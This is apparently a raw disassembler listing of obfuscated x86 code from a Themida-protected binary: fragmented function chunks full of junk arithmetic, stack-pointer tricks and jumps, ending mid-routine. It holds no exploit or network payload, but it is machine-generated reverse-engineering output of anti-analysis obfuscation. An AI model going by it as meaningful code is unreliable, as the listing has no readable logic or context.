loc_57469F:				; CODE XREF: sub_57549C-14874j
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		push	eax
		push	ecx
		xor	[esp+18h+var_18], 12B90CE2h
		pop	eax
		xor	eax, 12B90CE2h
		push	eax
		pop	edx
		jmp	loc_56E771
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_5746BE:				; CODE XREF: sub_566DFE+C7Cj
		add	esp, 4
		mov	eax, [esp+0]
		add	esp, 4
		add	edi, 5BF202DCh
		sub	edi, 67A0486Ah
		jmp	loc_564A38
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB93


loc_5746DB:				; CODE XREF: sub_56AB93+38j
		push	ecx
		jmp	loc_568CEB
; END OF FUNCTION CHUNK	FOR sub_56AB93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_5746E1:				; CODE XREF: sub_569AB3-2119j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_566D7E
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_5746FC:				; CODE XREF: sub_5610CE+180Cj
		pop	eax
		inc	ebp
		push	edx
		mov	edx, 46B83A15h
		add	ebp, edx
		pop	edx
		add	esi, ebp
		jmp	loc_560E29
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_57470E:				; CODE XREF: sub_574304-9452j
		shl	ebp, 2
		jmp	loc_566B26
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_574716:				; CODE XREF: sub_565632+9DC2j
		pop	edi
		jmp	loc_567CD4
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------


loc_57471C:				; CODE XREF: Themida_:00560228j
		pop	esi
		push	15B5h
		jmp	loc_56328C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_574727:				; CODE XREF: sub_5678CB+1CA2j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_560ED3
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726BB


loc_57473A:				; CODE XREF: sub_5726BB-166Bj
		xor	edi, 4F2F1C7Ch
		sub	edi, 54C6392h
		jmp	sub_56D0B7
; END OF FUNCTION CHUNK	FOR sub_5726BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_57474B:				; CODE XREF: sub_56616D+5A39j
		pop	esp
		jmp	loc_569587
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_574751:				; CODE XREF: sub_57354D-FA14j
		shl	edx, 7
		or	edx, 64BD0A2Eh
		jmp	loc_5679E8
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D9E


loc_57475F:				; CODE XREF: sub_568D9E-4298j
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5707DC
; END OF FUNCTION CHUNK	FOR sub_568D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5729F9


loc_574774:				; CODE XREF: sub_5729F9-A970j
		mov	[esp+0Ah+var_C+2], ebx
		mov	bl, 8Eh
		jmp	loc_56436F
; END OF FUNCTION CHUNK	FOR sub_5729F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_57477E:				; CODE XREF: sub_56AEF2-AEBFj
		and	esi, 67C07647h
		shr	esi, 2
		jmp	loc_560C91
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_57478C:				; CODE XREF: sub_560CF1+54B8j
		mov	edi, [esp+8+var_8]
		jmp	loc_56A065
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_574794:				; CODE XREF: sub_565B6E+29j
		push	edi
		jmp	loc_5648B0
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_57479A:				; CODE XREF: sub_570E81-C857j
		push	edx
		mov	edx, 9290864h
		jmp	loc_568D09
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_5747A5:				; CODE XREF: sub_56FA15-11E9j
		pop	esp
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		jmp	loc_565AF6
; END OF FUNCTION CHUNK	FOR sub_56FA15

; =============== S U B	R O U T	I N E =======================================



sub_5747AF	proc near		; DATA XREF: Themida_:0055FD70o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056271D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005647E5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00564CFB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056624C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570A07 SIZE 00000006 BYTES

		push	67AFh
		mov	[esp+4+var_4], eax
		push	edi
		push	5DD942E6h
		push	[esp+0Ch+var_C]
		pop	edi
		push	esi
		push	268Bh
		jmp	loc_5647E5
sub_5747AF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D0B7


loc_5747CC:				; CODE XREF: sub_56D0B7+60j
		push	eax
		push	5C30345Dh
		jmp	loc_561D3E
; END OF FUNCTION CHUNK	FOR sub_56D0B7

; =============== S U B	R O U T	I N E =======================================



sub_5747D7	proc near		; CODE XREF: sub_566078+2EC9j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056124A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562097 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056426E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00564566 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00564A68 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565A40 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568FA7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056CB8C SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056E8F5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0057051A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00571A78 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005732AC SIZE 00000022 BYTES

		sub	esp, 4
		jmp	loc_564A68
sub_5747D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5747E2:				; CODE XREF: sub_5678CB+43B1j
		xor	edx, 259Eh
		sub	edi, 6EC3756Fh
		jmp	loc_562CE9
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5747F3:				; CODE XREF: sub_571F6F-78E4j
		not	ecx
		jmp	loc_567234
; END OF FUNCTION CHUNK	FOR sub_571F6F

; =============== S U B	R O U T	I N E =======================================



sub_5747FA	proc near		; DATA XREF: Themida_:0055FF30o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 005603F3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056070A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00561D9D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568B87 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D3FB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E35A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EAAD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056FE7F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00573945 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00573F27 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005752C4 SIZE 00000026 BYTES

		mov	ax, [esp-8+arg_4]
		push	eax
		sub	esp, 4
		push	esp
		pop	[esp+4+var_4]
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ecx
		jmp	loc_56E35A
sub_5747FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_57482B:				; CODE XREF: sub_56CD13+74D0j
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_562DFA
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56671D


loc_574839:				; CODE XREF: sub_56671D+CA78j
		mov	cl, 98h
		push	eax
		mov	al, 0EDh
		shl	al, 3
		jmp	loc_5663A7
; END OF FUNCTION CHUNK	FOR sub_56671D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_574846:				; CODE XREF: sub_563FA2+563Dj
		push	eax
		push	ebx
		jmp	loc_5692AF
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_57484D:				; CODE XREF: sub_56657A+6A11j
		xor	ebp, 552162DDh
		xor	ebp, 719813BCh
		jmp	loc_563CDB
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_57485E:				; CODE XREF: sub_56616D-9DBj
		push	ecx
		push	edx
		jmp	loc_56BB98
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_574865:				; CODE XREF: sub_56657A+ECF2j
		mov	[esp+0Ch+var_C], ebx
		push	esp
		pop	ebx
		jmp	loc_5686AE
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_57486F:				; CODE XREF: sub_574304-C6D3j
		push	20BBh
		mov	[esp+8+var_8], edx
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, 476B6519h
		mov	ebp, 2256A686h
		add	ebp, edi
		pop	edi
		mov	edx, ebp
		pop	ebp
		jmp	loc_56C872
; END OF FUNCTION CHUNK	FOR sub_574304

; =============== S U B	R O U T	I N E =======================================



sub_574896	proc near		; CODE XREF: sub_56FD6F-CF95j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 005602A2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565DD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005670A0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00567258 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568B25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056D5A5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E16A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572400 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005727BD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572DEF SIZE 00000011 BYTES

		push	ebp
		mov	ebp, 4
		jmp	loc_56E16A
sub_574896	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_5748A1:				; CODE XREF: sub_56616D-154Cj
		pop	edx
		xor	edx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		shr	edx, 2
		jmp	loc_5627B8
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_5748B2:				; CODE XREF: sub_56FA15-9F1Cj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], ecx
		mov	cl, 0CBh
		shr	cl, 1
		shl	cl, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+16h+var_14+2]
		pop	ebx
		pop	[esp+16h+var_18+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], edx
		push	eax
		jmp	loc_56502B
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_5748ED:				; CODE XREF: sub_5648C6+265Dj
		sub	edi, ebp
		pop	ebp
		add	edi, 2AF26DD7h
		sub	edi, esi
		sub	edi, 2AF26DD7h
		push	esi
		mov	esi, 46381155h
		push	eax
		mov	eax, 86B5980h
		jmp	loc_566994
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_57490F:				; CODE XREF: sub_5745B5-48EFj
		pop	ecx
		pop	edx
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	loc_56CACE
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------


loc_57491C:				; CODE XREF: Themida_:00565139j
		pop	edx
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	eax, ebx
		pop	ebx
		push	7EFFh
		mov	[esp], edi
		jmp	loc_56072E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_57493F:				; CODE XREF: sub_571C0A+1j
		mov	ebx, 24h
		jmp	loc_56EFF9
; END OF FUNCTION CHUNK	FOR sub_571C0A

; =============== S U B	R O U T	I N E =======================================



sub_574949	proc near		; CODE XREF: sub_5754DA-8632j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560636 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00560B61 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560E90 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056101D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00562847 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564A2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056514F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565DAE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005681AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00569055 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005692BF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DA15 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DD5F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056E1C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570024 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570394 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571AB4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571E6E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005733E8 SIZE 00000024 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ch, 3Ah
		push	5102h
		mov	[esp+8+var_8], edx
		mov	dh, 6Ah
		jmp	loc_569055
sub_574949	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD36


loc_574963:				; CODE XREF: sub_56BD36+9264j
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp-4+arg_0], eax
		push	[esp-4+arg_0]
		pop	esi
		push	7948h
		mov	[esp+0], ebx
		push	esp
		mov	ebx, [esp+4+var_4]
		push	edx
		jmp	loc_5687E0
; END OF FUNCTION CHUNK	FOR sub_56BD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561826


loc_5749A3:				; CODE XREF: sub_561826+CF2Aj
		mov	esp, [esp+0]
		mov	bx, [esp+0]
		add	esp, 2
		xor	[esp-6+arg_2], bp
		xor	bp, [esp-6+arg_2]
		jmp	loc_5656AC
; END OF FUNCTION CHUNK	FOR sub_561826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_5749BA:				; CODE XREF: sub_570FB7-2C31j
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+4+var_4]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_570FB7
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5749C3:				; CODE XREF: sub_569193+B020j
		push	6A6Dh
		mov	[esp+4+var_4], ebx
		push	[esp+4+var_4]
		pop	eax
		push	6F3Ch
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		jmp	loc_5642B6
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_5749DE:				; CODE XREF: sub_56638C-3D1Bj
		add	edx, 4
		jmp	loc_56ED81
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD61


loc_5749E9:				; CODE XREF: sub_56BD61+4j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56BD61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_5749EE:				; CODE XREF: sub_569AB3+588Bj
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	[esp-4+arg_0], eax
		push	edx
		jmp	sub_5716F1
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5749FD:				; CODE XREF: sub_569193+6051j
		add	esp, 4
		xor	edx, [esp+0Ch+var_C]
		jmp	loc_565C6B
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_574A08:				; CODE XREF: sub_563A7F+D27Bj
		add	bl, dl
		add	bl, 3
		pop	edx
		push	eax
		mov	al, 79h
		add	bl, 9Dh
		jmp	loc_5754E9
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_574A19:				; CODE XREF: sub_574656-9426j
		xchg	ebp, [esp+14h+var_14]
		jmp	loc_5717E9
; END OF FUNCTION CHUNK	FOR sub_574656

; =============== S U B	R O U T	I N E =======================================



sub_574A21	proc near		; DATA XREF: Themida_:0055FF4Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056064E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560F6A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005616F2 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00561CD4 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00561ED9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00562906 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00562AE0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00562FE9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005630FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056316A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00563C2E SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00566B94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566EC9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005675FB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00567B2F SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00567BDB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567F78 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00567FD8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005682E5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056838D SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005684CA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005688F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056891A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568A91 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568CB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00569247 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569280 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00569808 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A51B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056D14E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DB1A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056E5F0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056E730 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056ED61 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00570AA9 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00570B2A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005753D7 SIZE 0000000D BYTES

		lodsd
		push	ebp
		mov	ebp, 6E105898h
		sub	eax, 682F4722h
		add	eax, ebp
		jmp	loc_567BDB
sub_574A21	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_574A34:				; CODE XREF: sub_57354D-1FE7j
		xor	edx, 2B143F4Ah
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], edx
		push	10000h
		jmp	loc_56ED0B
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_574A50:				; CODE XREF: sub_56B06D-7866j
		pop	esp
		push	ebx
		push	79842F9Ah
		pop	ebx
		xor	ebx, 0FFA1E02h
		push	eax
		jmp	loc_565C80
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_574A64:				; CODE XREF: sub_561418-126Dj
		mov	ecx, 0D815C13h
		and	ecx, 71877C32h
		jmp	loc_56EE46
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_574A74:				; CODE XREF: sub_5685B2+313Ej
		mov	ebx, [esp-14h+arg_10]
		add	esp, 4
		push	7825h
		mov	[esp-14h+arg_10], edx
		mov	edx, esp
		push	68Fh
		mov	[esp-10h+arg_C], ebx
		push	4EFF5A4Eh
		pop	ebx
		jmp	loc_563F95
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_574A9A:				; CODE XREF: sub_566AF9-6600j
		sar	word ptr [esp+0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------


loc_574AA4:				; CODE XREF: Themida_:0056A3A4j
		or	ebp, 7D835DDFh
		xor	ebp, 0B706AD0Ch
		jmp	loc_563102
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_574AB5:				; CODE XREF: sub_573612+7E0j
		add	ebx, 3C920A05h
		add	ebx, eax
		sub	ebx, 3C920A05h
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		push	esi
		jmp	loc_572FFF
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------


loc_574ACF:				; CODE XREF: Themida_:0056313Cj
		mov	edx, esp
		jmp	loc_575394
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_574AD6:				; CODE XREF: sub_574304-6A5Dj
		sub	ecx, 0B175EA86h
		sub	ebp, ecx
		pop	ecx
		add	edx, ebp
		jmp	loc_564AB3
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_574AE6:				; CODE XREF: sub_56241E+5j
		push	edx
		push	ebx
		push	small 4D09h
		pop	bx
		jmp	loc_561460
; END OF FUNCTION CHUNK	FOR sub_56241E

; =============== S U B	R O U T	I N E =======================================



sub_574AF3	proc near		; DATA XREF: Themida_:0055FDFCo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005621C0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005635AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566A84 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00567037 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056812B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00568B93 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056914F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AF63 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570834 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572AA0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572BF7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057425F SIZE 00000010 BYTES

		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		push	eax
		jmp	loc_566A84
sub_574AF3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_574AFF:				; CODE XREF: sub_56616D+8656j
		add	ebp, 4
		jmp	sub_570E27
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_574B0A:				; CODE XREF: sub_570732-83CAj
		push	ecx
		mov	ecx, 2A7A4985h
		jmp	loc_573CCD
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_574B15:				; CODE XREF: sub_564D26+838Cj
		mov	edi, 7481647Bh
		add	ebp, edi
		jmp	loc_56DC75
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_574B21:				; CODE XREF: sub_5678CB+834Ej
		or	ebx, 13AA230Dh
		push	edx
		mov	edx, 3D52457Ah
		xor	ebx, edx
		pop	edx
		or	edx, ebx
		pop	ebx
		shr	edx, 6
		add	edx, 0FEA40B49h
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, 2
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+0Eh+var_E]
		jmp	loc_5743A7
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_574B50:				; CODE XREF: sub_574F16-357j
		push	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], edx
		push	ebx
		mov	bl, al
		jmp	loc_5657BB
; ---------------------------------------------------------------------------


loc_574B62:				; CODE XREF: sub_574F16-4A9Aj
		xchg	eax, [esp+0Ah+var_A]
		pop	esp
		xor	ch, bh
		mov	ebx, [esp+6+var_6]
		jmp	loc_56A1EE
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_574B70:				; CODE XREF: sub_5690E8-714j
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		movsx	cx, al
		push	small 2E51h
		mov	[esp+0], cx
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5690E8

; =============== S U B	R O U T	I N E =======================================



sub_574B8A	proc near		; CODE XREF: sub_56D0B7+46D6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056AFD5 SIZE 0000001D BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_56AFD5
sub_574B8A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_574B9E:				; CODE XREF: sub_574F16-10B5j
		xor	bl, al
		sub	esp, 4
		mov	[esp+4+var_6+2], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4+var_6+2]
		pop	esp
		mov	[esp+0], ecx
		push	ebx
